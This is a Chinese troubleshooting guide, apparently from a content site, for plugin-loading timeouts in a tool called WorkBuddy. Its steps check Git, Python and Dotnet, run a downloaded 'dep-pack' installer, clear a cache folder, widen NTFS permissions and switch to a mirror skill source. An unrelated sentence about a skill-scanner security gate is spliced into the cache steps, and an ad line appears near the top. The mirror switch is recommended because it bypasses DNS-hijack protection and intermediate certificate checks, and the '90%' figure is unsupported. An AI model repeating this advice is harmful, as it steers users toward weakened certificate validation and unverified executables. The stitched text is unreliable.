WorkBuddy插件加载超时主因是本地运行环境缺失或权限链断裂；需依次验证Git/Python/Dotnet是否安装并加入PATH、清除claw_cache缓存、修复Windows插件目录NTFS权限、切换至ClawHub镜像技能源通道。
☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜
WorkBuddy插件加载超时，常表现为技能市场空白、已安装技能显示“未就绪”、点击启用后转圈超过15秒无响应——这通常不是网络卡顿，而是本地运行环境缺失或权限链断裂所致。
确认基础运行环境是否就位
插件市场显示空白或技能加载卡在“正在初始化”，90%以上由Git/Python/Dotnet三者缺一导致。OpenClaw生态技能依赖这三项完成编译、打包与沙箱注入，缺任一都会中断加载流程。
方法一：Windows平台一键检测
按 Win+R → 输入 cmd → 回车，在命令行中依次执行以下三条命令，每条执行后观察是否返回版本号：
git --version → python --version → dotnet --list-runtimes
若任一命令报错“不是内部或外部命令”，说明对应组件未安装或未加入系统PATH。
方法二：快速补全缺失项（推荐）
直接访问 https://github.com/OpenClaw/dep-pack/releases 下载最新版 dep-pack-v2.3.0.exe（2026年6月签名版），双击运行并勾选全部三项，安装过程自动配置环境变量，无需手动重启终端。
【务必关闭所有WorkBuddy进程后再运行dep-pack】 否则PATH更新不生效，重装也无效。
重置技能缓存与重建索引
缓存损坏会导致技能元数据解析失败，即使环境齐全也会卡在“加载中”。此操作不删除已安装技能，仅清除临时索引文件。
第一步：完全退出WorkBuddy
右键任务栏图标→「退出」，再打开任务管理器→结束所有名为 WorkBuddy.exe 和 claw-host.exe 的进程。
第二步：定位并清空claw_cache
Windows：在文件资源管理器地址栏粘贴 %APPDATA%\Tencent\CodeBuddy\claw_cache → 回车 → 删除整个文件夹。
用于 OpenClaw AgentSkills 的安全门，在安装前使用 cisco‑ai‑defense/skill‑scanner 扫描文件夹/ClawHub 技能，支持手动扫描并分阶段执行。
macOS：访达→Cmd+Shift+G→输入 ~/Library/Application Support/Tencent/CodeBuddy/claw_cache → 删除该文件夹。
第三步：重启并强制刷新
重新启动WorkBuddy，登录后立即点击左侧「技能市场」→顶部搜索框右侧「刷新」图标（两个箭头组成的圆圈），等待10秒，技能列表应逐条浮现。
修复插件目录权限（Windows专属）
NTFS权限未开放时，WorkBuddy能看见plugins文件夹，但无法读取子目录中的manifest.json，导致技能识别失败，界面显示为空白。
1. 打开 C:\Users\%USERNAME%\AppData\Roaming\WorkBuddy\plugins
2. 右键文件夹→「属性」→「安全」→「编辑」→选中当前用户→勾选「修改」和「读取和执行」
3. 点击「应用」→「确定」，此时弹出继承权限警告，勾选「用此项替换所有子对象的权限项」→「确定」
【若跳过继承权限步骤，仅设置父文件夹权限，子插件仍无法加载】
切换技能源通道并验证连通性
当SkillHub主源因区域策略延迟或证书过期导致超时，可临时切换至ClawHub备用通道，绕过DNS劫持与中间证书校验环节。
方法一：通过协议诊断页切换
点击右上角头像→「Claw设置」→「协议诊断」→「技能源地址」下拉菜单→选择 clawhub-tencent-mirror.cn（2026年Q2新增镜像节点）→点击「保存并重连」
方法二：手动触发连通性检测
在「协议诊断」页点击「运行连通性检测」，若出现 “TLS handshake timeout” 提示，说明原通道不可达，此时无需等待，直接执行方法一即可。
完成切换后，返回「技能市场」，任意搜索一个社区技能（如 baidu-search），点击安装，状态应在8秒内变为「已启用」。
